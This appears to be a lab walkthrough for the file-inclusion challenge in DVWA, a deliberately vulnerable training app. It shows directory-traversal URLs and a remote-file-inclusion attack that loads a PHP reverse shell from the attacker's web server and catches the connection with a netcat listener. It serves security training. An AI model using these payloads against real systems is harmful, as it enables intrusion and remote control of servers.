Challenge URL: /dvwa/vulnerabilities/fi/
Objective: Read all five famous quotes from **../hackable/flags/fi.php** using only file inclusion.
Tools needed: A reverse shell, a temporary web server on Kali, netcat, fimap (optional)

Did you remember to read this section's README?

The Guide

Testing the Form

When we start, we see a basic form with three links to **file1.php**, **file2.php**, and **file3.php**.

Let's try clicking on each of the three PHP links:

Take a closer look at the URL on that last screenshot:

http://dvwa/dvwa/vulnerabilities/fi/?page=file3.php

Then look at the others. It seems that the only thing that changes is the **page** parameter. When clicking each link, **page** changes accordingly. Let's start testing for a file inclusion vulnerability as follows:

http://dvwa/dvwa/vulnerabilities/fi/?page=https://www.google.com

Formatting aside, it looks like we successfully pulled in the Google homepage to our form!

Let's figure out how far we can take this.

Local File Inclusion

The objective already told us where the five quotes are: **../hackable/flags/fi.php**. Let's start there, by passing in that exact path to the **page** parameter.

http://dvwa/dvwa/vulnerabilities/fi/?page=../hackable/flags/fi.php

Hm, nothing got pulled in? Strange. Why do you think that is?

If you look carefully, you'll notice that we set the root directory of DVWA to **/dvwa/**. Therefore, the challenge is located at **/dvwa/vulnerabilities/fi/**. But wait, DVWA gave us the following path for the flags: **/dvwa/hackable/flags/fi.php**. What happened? Essentially, DVWA placed our current challenge two levels deep from the root. However, we only navigated up one directory in our attempted exploit. We'll actually need to go up *two* levels to find the **/hackable/** directory, not just one.

Note: if you didn't deduce this yourself, you could use an automatic tool like "fimap" to "brute force" how many directories you'll need to traverse.

Let's modify the URL as follows:

http://dvwa/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php

Success ... partially? We can clearly see quotes #1, #2, and #4. #3 seems to have been hidden in some manner, and we don't see #5 at all. Let's examine the source code (Right-click > "Inspect Element") and see if we can find out what happened to the missing quotes.

Aha! #5 shows up in the source! It's commented out, which means your average end user wouldn't see it. But #3 still doesn't appear. That must mean the server-side code is obfuscating it in some manner.

What can we do to view the server-side source code? I think it's time for my favorite kind of exploit ...

Remote File Inclusion

We already know we can point the **page** parameter to whatever we want, whether it's a local file or remote site. So can we point it to something that gives us a bit more control? A shell of some sort? Let's find out!

I tend to like reverse shells, so let's start by setting up a temporary web server on Kali. I don't know about you, but I don't want to deal with a full Apache server, .htaccess, moving files around, and all that. Lucky for us, we can easily stand one up with the following command:

```
python -m SimpleHTTPServer 9999
```

Of course, you can change `9999` to whatever port you want.

Now let's find a shell.

Kali actually has a bunch of them included by default. You can find them at **/usr/share/webshells/**. Since we're dealing with PHP, I'm going to take **php/php-reverse-shell.php** and move it to my working directory. Open it up and define the variable `$ip` to your Kali IP address and `$port` to whatever port you want to receive a connection to. It's that easy!

Finally, we'll need a listener to accept the connection from the shell. The networking tool "netcat" sounds like it will fit our needs. Let's try this:

```
nc -lvnp 5555
```

Again, feel free to change `5555` to your preferred port.

Now it's time to bring it all together. Your new RFI exploit should look something like:

http://dvwa/dvwa/vulnerabilities/fi/?page=http://[your_Kali_IP]**:9999/php-reverse-shell.php**

Let's try it out! Let's submit the URL and check our netcat listener.

At this point, it's game over. All we need to do is navigate to the **fi.php** file mentioned above and view the source code.

There's #3! We have all five quotes. Challenge complete. Well done!